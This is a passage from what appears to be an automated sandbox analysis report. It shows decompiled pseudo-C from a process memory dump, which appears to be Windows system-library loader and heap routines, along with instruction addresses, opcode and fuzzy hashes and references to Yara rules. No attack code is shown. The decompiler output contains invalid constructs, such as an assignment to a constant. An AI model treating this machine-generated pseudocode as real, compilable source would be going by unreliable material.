					_t136 = E00D5CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E00D62280( *[fs:0x30], 0xe38550);
						_t139 =  *0xe37b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E00D7F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E00D5FFB0(_t193, _t235, 0xe38550);
								L5:
								return E00D9D130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E00D41C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0xe37b9c; // 0x0
							_t235 = L00D64620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0xe37b10; // 0x8
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E00D7A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E00D5FFB0(_t193, _t235, 0xe38550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L00D677F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L00D677F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0xe37b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0xe37b10; // 0x8
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E00D837C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0xe37b9c; // 0x0
									_t214 = L00D64620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E00D837F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0xe37b10 =  *0xe37b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0xe37b04 =  *0xe37b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L00D677F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L00D677F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0xe37b08 =  *0xe37b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E00D857C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E00D8F3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L00D677F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E00D7A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L00D677F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E00D896C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x00d5849b
0x00d5849b
0x00d5849b
0x00d5849b
0x00d5849d
0x00d584a2
0x00d584a7
0x00d584b1
0x00d584d8
0x00000000
0x00d584b3
0x00d584c4
0x00d584c9
0x00d584cd
0x00d584cf
0x00d584cf
0x00d584d6
0x00d584e6
0x00d584e9
0x00d584ec
0x00d584ef
0x00d584f2
0x00d584f4
0x00d584fc
0x00d58501
0x00d58506
0x00d58509
0x00d586e0
0x00d586e5
0x00d586e8
0x00d586ed
0x00d586f0
0x00d586f2
0x00da9afd
0x00da9b02
0x00d584da
0x00d584df
0x00d584df
0x00d586fa
0x00d586fd
0x00d586fe
0x00d58701
0x00d58706
0x00d58709
0x00d5870b
0x00000000
0x00000000
0x00d58711
0x00d58725
0x00d58727
0x00d5872a
0x00d5872c
0x00da9af0
0x00da9af5
0x00d58732
0x00d58732
0x00d58732
0x00d58735
0x00d58737
0x00d58515
0x00d58515
0x00d58518
0x00d5851d
0x00d58523
0x00d58527
0x00d5852b
0x00d58537
0x00d58539
0x00d5853c
0x00d5853e
0x00d5868c
0x00d58691
0x00d58699
0x00d5869b
0x00d58744
0x00d58748
0x00d586a1
0x00d586a1
0x00d586a1
0x00d586a4
0x00d586a8
0x00da9bdf
0x00da9bdf
0x00d586ae
0x00d586b0
0x00000000
0x00d586b6
0x00000000
0x00da9be9
0x00d586b0
0x00d58544
0x00d5854a
0x00d5854d
0x00d58551
0x00d5876e
0x00d58778
0x00d5877b
0x00d58780
0x00d58557
0x00d58557
0x00d5855d
0x00d5855d
0x00d5856b
0x00d5856e
0x00d58570
0x00d58573
0x00d58576
0x00d58576
0x00d58579
0x00d5857b
0x00000000
0x00000000
0x00d58581
0x00d585a0
0x00d585a2
0x00d585a5
0x00d585a7
0x00da9b1b
0x00da9b1b
0x00d5862e
0x00d5862e
0x00d58631
0x00d58631
0x00d58634
0x00d58636
0x00d58669
0x00d58669
0x00d5866b
0x00da9bbf
0x00da9bc4
0x00da9bc8
0x00da9bce
0x00da9bce
0x00d58671
0x00d58671
0x00d58674
0x00d58676
0x00da9bae
0x00da9bae
0x00d58676
0x00d5867c
0x00d5867e
0x00d58688
0x00d58688
0x00000000
0x00d5867e
0x00d58638
0x00d58638
0x00d5863b
0x00d5863e
0x00d5863f
0x00d58642
0x00d58645
0x00d58648
0x00d5864d
0x00da9b69
0x00da9b6e
0x00da9b7b
0x00da9b81
0x00da9b85
0x00da9b89
0x00da9ba7
0x00da9b8b
0x00da9b91
0x00da9b9a
0x00da9b9f
0x00da9b9f
0x00d58788
0x00d5878d
0x00d58763
0x00d58763
0x00d58766
0x00000000
0x00d58766
0x00da9b70
0x00000000
0x00da9b70
0x00d58656
0x00d5865a
0x00d5865c
0x00d58752
0x00d58756
0x00000000
0x00000000
0x00d5875e
0x00000000
0x00d5875e
0x00d58662
0x00d58662
0x00d58662
0x00d58666
0x00000000
0x00d58666
0x00d585b7
0x00d585b9
0x00d585bc
0x00d585bf
0x00d585cc
0x00d585d1
0x00d585d4
0x00d585db
0x00d585de
0x00d585e0
0x00da9b5f
0x00000000
0x00da9b5f
0x00d585e6
0x00d585ea
0x00d586c3
0x00d586c5
0x00d586c8
0x00d586ca
0x00da9b16
0x00000000
0x00da9b16
0x00d586d6
0x00d585f6
0x00d585f6
0x00d585f9
0x00d58602
0x00d58606
0x00d5860a
0x00d5860b
0x00d5860e
0x00d58611
0x00000000
0x00d58611
0x00d585f3
0x00000000
0x00d585f3
0x00d58619
0x00d5861e
0x00d5861e
0x00d58621
0x00d58622
0x00d58623
0x00d58625
0x00d5862c
0x00000000
0x00d5873d
0x00000000
0x00d5873d
0x00d58737
0x00d5850f
0x00d58512
0x00000000
0x00d58512
0x00000000
0x00d584d6

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574fe3dd3190490738f8fa2cc9ff8e265b740cce3b74a66d15dd01b4c6915dc8
Instruction ID: ce6758fa5cb8a234459557783899660cef9974223078658c21219ace7d24517a
Opcode Fuzzy Hash: 574fe3dd3190490738f8fa2cc9ff8e265b740cce3b74a66d15dd01b4c6915dc8
Instruction Fuzzy Hash: 8DB15DB0E04209DFCF24DF99C994AADFBB6FF49305F244129E805AB251DB70AD49DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D7513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00D7513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0xe3d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E00D8D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E00D62280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L00D64620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E00D8F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E00D5FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0xe3b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E00D8B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x00d75142
0x00d7514c
0x00d75150
0x00d75157
0x00d75159
0x00d7515e
0x00d75165
0x00d75169
0x00d7516c
0x00d75172
0x00d75176
0x00d7517a
0x00d7517a
0x00d7517a
0x00d7517f
0x00db6d8b
0x00db6d8e
0x00db6d91
0x00db6d95
0x00db6d98
0x00db6d9c
0x00db6da0
0x00db6da3
0x00db6da7
0x00db6e26
0x00db6e26
0x00db6e2a
0x00d751f9
0x00d751f9
0x00d751fe
0x00db6e33
0x00db6e33
0x00db6e39
0x00db6e3d
0x00db6e46
0x00db6e50
0x00000000
0x00000000
0x00db6e52
0x00db6e53
0x00db6e56
0x00db6e5d
0x00000000
0x00000000
0x00000000
0x00db6e5f
0x00db6e67
0x00db6e77
0x00db6e7f
0x00db6e80
0x00db6e88
0x00db6e90
0x00db6e9f
0x00db6ea5
0x00db6ea9
0x00db6eb1
0x00db6ebf
0x00000000
0x00000000
0x00db6ecf
0x00db6ed3
0x00000000
0x00000000
0x00db6edb
0x00db6ede
0x00db6ee1
0x00db6ee8
0x00db6eeb
0x00db6eed
0x00db6ef0
0x00db6ef4
0x00db6ef8
0x00db6efc
0x00000000
0x00000000
0x00db6f0d
0x00db6f11
0x00db6f32
0x00db6f37
0x00db6f3b
0x00db6f3e
0x00db6f41
0x00db6f46
0x00000000
0x00000000
0x00db6f4c
0x00db6f50
0x00db6f50
0x00db6f54
0x00db6f62
0x00db6f65
0x00db6f6d
0x00db6f7b
0x00db6f7b
0x00db6f93
0x00db6f98
0x00db6fa0
0x00db6fa6
0x00db6fb3
0x00db6fb6
0x00db6fbf
0x00db6fc1
0x00db6fd5
0x00db6fda
0x00db6fda
0x00db6fdd
0x00db6fe2
0x00db6fe7
0x00db6feb
0x00db6fef
0x00db6ff3
0x00d7520c
0x00d7520c
0x00d7520f
0x00d75215
0x00d75234
0x00d7523a
0x00d7523a
0x00d75244
0x00d75245
0x00d75246
0x00d75251
0x00d75251
0x00db6f13
0x00db6f17
0x00db6f17
0x00db6f18
0x00db6f1b
0x00db6f1f
0x00db6f23
0x00000000
0x00db6f28
0x00d75204
0x00d75204
0x00d75208
0x00000000
0x00d75208
0x00d75185
0x00d75188
0x00d7518a
0x00d7518e
0x00d75195
0x00db6db1
0x00db6db5
0x00db6db9
0x00d7519b
0x00d7519b
0x00d7519e
0x00d751a7
0x00d751a9
0x00d751a9
0x00d751b5
0x00d751b8
0x00d751bb
0x00d751be
0x00d751c1
0x00d751c5
0x00d751c9
0x00d751cd
0x00d751cd
0x00d751d8
0x00d751dc
0x00d751e0
0x00db6dcc
0x00db6dd0
0x00db6dd5
0x00db6ddd
0x00db6de1
0x00db6de1
0x00db6de5
0x00db6deb
0x00db6df1
0x00db6df7
0x00db6dfd
0x00db6e01
0x00db6e05
0x00db6e09
0x00db6e0d
0x00db6e11
0x00db6e11
0x00d751eb
0x00db6e1a
0x00db6e1f
0x00db6e21
0x00db6e23
0x00000000
0x00d751f1
0x00d751f1
0x00000000
0x00d751f1

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50677c20e7f0e21ac9e142eed4bfb63e058af0af9257bc0b41bd7c7a12ebc285
Instruction ID: 09e304382adf1033186e872bc10db1e344d70e4b398844de9b9d67cc95e3fad4
Opcode Fuzzy Hash: 50677c20e7f0e21ac9e142eed4bfb63e058af0af9257bc0b41bd7c7a12ebc285
Instruction Fuzzy Hash: EAC10375509380CFD354CF28C580A5AFBE1BF88304F188A6EF99A8B352D775E945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D703E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00D703E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0xe3d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E00D70548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E00D8B640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E00D5B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0xe37c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E00D67D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E00D67D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E00DC7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E00D89830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E00DC69A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0xe37c04 != 0) {
						_t118 = _v12;
						_t120 = E00DCA7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0xe37bd8;
						if( *0xe37bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E00D895D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E00D899A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E00DC3540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E00D4B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E00D8AAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0xe38474 - 3;
										if( *0xe38474 != 3) {
											 *0xe379dc =  *0xe379dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E00D67D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E00D67D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E00DC7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0xe38708 != 0) {
							_t118 =  *0x7ffe0330;
